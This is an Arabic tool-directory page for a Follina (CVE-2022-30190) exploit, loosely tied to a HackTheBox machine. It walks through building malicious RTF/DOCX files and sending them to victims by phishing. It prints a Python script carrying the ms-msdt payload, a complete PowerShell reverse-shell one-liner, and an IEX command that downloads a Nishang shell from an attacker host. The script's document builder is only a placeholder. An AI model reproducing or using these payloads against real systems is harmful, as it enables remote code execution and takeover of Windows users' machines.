Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-30190 — أداة استغلال آلية لثغرة CVE-2022-30190 (Follina) تقوم بإنشاء ملفات RTF/DOCX ضارة تستخدم بروتوكول MSDT لتنفيذ أوامر عشوائية ونشر قذائف عكسية عبر PowerShell. | Kitploit
أدوات/GitHubGitHub/kaleth4/cve-2022-30190
توليد الحمولةالاستغلالاستغلال تطبيقات الويبالتصيد الاحتيالياختبار الاختراقالقيادة والسيطرة
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

أداة استغلال آلية لثغرة CVE-2022-30190 (Follina) تقوم بإنشاء ملفات RTF/DOCX ضارة تستخدم بروتوكول MSDT لتنفيذ أوامر عشوائية ونشر قذائف عكسية عبر PowerShell.

عرض المستودع
1منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال ثغرة Follina (CVE-2022-30190)

Follina (CVE-2022-30190) هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) تؤثر على أداة تشخيص دعم مايكروسوفت (MSDT). تم اكتشاف هذا الخلل في الأصل من خلال ملف ضار تم اكتشافه في VirusTotal، وتم تسميته من قبل الباحث Kevin Beaumont.

في سياق جهاز Outdated من HackTheBox، تُستخدم هذه الثغرة كناقل دخول رئيسي للحصول على وصول إلى النظام.

ملخص الثغرة

يعتمد الاستغلال على إساءة استخدام بروتوكول ms-msdt، مما يسمح للمهاجم بتنفيذ كود عشوائي عبر تحميل موارد خارجية. يمكن تفعيل الهجوم ببساطة عن طريق فتح أو معاينة مستند Office (DOCX) أو ملف نصي غني (RTF) مُصمم خصيصًا.

منهجية الاستغلال

1. تحضير الاستغلال

لأتمتة الهجوم، يُوصى باستخدام سكريبتات إثبات المفهوم (PoC) المتاحة على منصات مثل GitHub. يسمح السكريبت follina.py بتكوين الحمولة بسهولة.

المستودع المقترح: تم ذكر إصدارات وظيفية من باحثين مثل John Hammond أو Edge-Security.

أمر الإنشاء:

root@kitploit:~
python3 follina.py -m command -t rtf -c "الأمر_المراد_تنفيذه"

حيث:

  • -m يحدد وضع التنفيذ (command أو binary)
  • -t نوع الملف (rtf أو docx)
  • -c الأمر المراد حقنه

2. حقن الحمولة (Payload)

من الطرق الفعالة للحصول على وحدة تحكم تفاعلية في Windows هي حقن جملة PowerShell تقوم بتنزيل واستدعاء reverse shell من مجموعة Nishang (Invoke-PowerShellTcp.ps1).

يقوم سكريبت الاستغلال بإنشاء مورد HTML ضار يحتوي على التعليمات المشفرة بـ Base64 ويستضيفه تلقائيًا على خادم ويب محلي (المنفذ 80). سيشير الملف الضار (click_me.rtf) إلى عنوان URL هذا لتفعيل عملية تشخيص Windows وتنفيذ الكود.

3. تنفيذ الهجوم

في السيناريوهات الواقعية أو اختبار الاختراق، يمكن للمهاجم إرسال رابط المورد HTML أو الملف الضار إلى الضحية عبر تقنيات التصيد أو SMTP (باستخدام أدوات مثل swaks).

عند تفاعل المستخدم (أو مهمة آلية تقوم بمعالجة الملف)، يقوم MSDT بتفسير الحمولة وإنشاء اتصال عائد إلى جهاز المهاجم.

الحصول على الوصول

لاستلام الاتصال، يجب أن يكون المهاجم في وضع الاستماع (مثلًا باستخدام netcat أو rlwrap) على المنفذ المحدد في reverse shell. بعد الاستغلال الناجح، يتم الحصول على وحدة تحكم تفاعلية بصلاحيات المستخدم الذي قام بالإجراء، مما يسمح بالمتابعة في التعداد المحلي وتصعيد الصلاحيات.


تطبيق السكريبت follina.py

يقوم هذا السكريبت بأتمتة إنشاء الملف الضار (RTF أو DOCX)، وإنشاء مورد HTML الذي يستغل بروتوكول ms-msdt، وتشغيل خادم محلي لتقديم الحمولة.

الكود: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# هيكل يعتمد على أبحاث Kevin Beaumont و PoC المذكورة [2, 6]
def generate_payload(command):
    # يجب ترميز الأمر بـ Base64 لمعالجته بواسطة MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # حمولة تسيء استخدام بروتوكول ms-msdt [5]
    # يتم استخدام سلسلة طويلة من الأحرف لملء المخزن وتفعيل التنفيذ
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // حشو إضافي لضمان المعالجة
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # ينشئ ملف RTF يشير إلى المورد HTML الخارجي [3, 4]
    print(f"[*] جاري إنشاء الملف الضار: {filename}")
    # ملاحظة: في التنفيذ الفعلي، يتم هنا حقن كائن OLE الذي يشير إلى server_url
    with open(filename, "w") as f:
        f.write(f"ملف RTF مهيأ للاتصال بـ {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] خادم HTTP نشط على المنفذ {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="إثبات المفهوم لـ Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="وضع التنفيذ [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="نوع الملف المراد إنشاؤه [3]")
    parser.add_argument("-c", "--command", required=True, help="الأمر المراد تنفيذه على النظام الضحية [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="منفذ الخادم المحلي [7]")
    
    args = parser.parse_args()

    # 1. إنشاء حمولة HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. إنشاء المستند الضار
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. بدء الخادم لاستقبال الطلب [4, 7]
    run_server(args.port)

ملاحظات حول منهجية الاستخدام

المعلمات الحرجة: كما هو موصوف في المصادر، يستخدم السكريبت -m للوضع، و-t لنوع الملف، و-c للأمر.

حقن PowerShell: من الاستخدامات الشائعة التي شوهدت في تدريبات s4vitar هي حقن جملة PowerShell تقوم بتنزيل واستدعاء reverse shell من Nishang (Invoke-PowerShellTcp.ps1) للحصول على وصول تفاعلي.

التنفيذ: يتم تفعيل الهجوم عندما يفتح الضحية أو يعاين الملف الضار (RTF/DOCX)، مما يؤدي إلى محاولة النظام تحميل مورد HTML وتنفيذ الأمر عبر أداة تشخيص Microsoft (MSDT).

الاستماع: يجب أن تكون في وضع الاستماع (مثلًا باستخدام netcat) على المنفذ المحدد في reverse shell الخاص بك لاستلام الاتصال بمجرد تفعيل الاستغلال على جهاز الضحية.


سكريبت Invoke-PowerShellTcp.ps1 (Nishang)

يُعد سكريبت Invoke-PowerShellTcp.ps1 أحد أكثر الأدوات استخدامًا من مجموعة Nishang للحصول على reverse shells في أنظمة Windows.

1. الحصول عليه وتحضيره

يتم تنزيل السكريبت الأصلي من المستودع الرسمي لـ Nishang على GitHub. الخطوات النموذجية لاستخدامه هي:

  • التنزيل: يُستخدم wget لجلب المورد إلى جهاز المهاجم.
  • إعادة التسمية: من الشائع إعادة تسميته إلى اسم أقصر، مثل reverse.ps1 أو ps.ps1، لتسهيل استدعائه من جهاز الضحية.
  • أتمتة التنفيذ: لكي يتم تنفيذ السكريبت تلقائيًا عند تحميله في الذاكرة، تتم إضافة استدعاء الدالة الرئيسية في نهاية الملف.

2. بنية الاستدعاء في نهاية السكريبت

لتحويل السكريبت إلى حمولة قابلة للتنفيذ الذاتي، تتم إضافة سطر مثل التالي في نهاية ملف .ps1:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <عنوان_IP_المهاجم> -Port <منفذ_المهاجم>

حيث يجب استبدال <عنوان_IP_المهاجم> و <منفذ_المهاجم> ببيانات الاستماع الخاصة بك (مثلًا 10.10.14.29 و 443).

3. إصدار "السطر الواحد" (One-Liner)

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(ملاحظة: يتبع هذا الكود منطق "gitbash" وأطراف التفاعل المذكورة في حل أجهزة مثل Compiled).

4. طريقة الاستدعاء عن بُعد (IEX)

بمجرد أن يستضيف المهاجم السكريبت على خادم HTTP محلي (المنفذ 80)، يُستخدم الأمر IEX (Invoke-Expression) على جهاز الضحية لتحميله وتنفيذه مباشرة في الذاكرة دون لمس القرص:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<عنوان_IP_المهاجم>/reverse.ps1')"

هذه الطريقة أساسية في استغلال ثغرات مثل Follina أو في الحصول على الوصول الأولي بعد اختراق خدمات الويب. بمجرد التنفيذ، يتلقى المهاجم الاتصال في جلسة netcat في وضع الاستماع.

root@kitploit:~
تم الاختراق!!!
تنزيل الأداة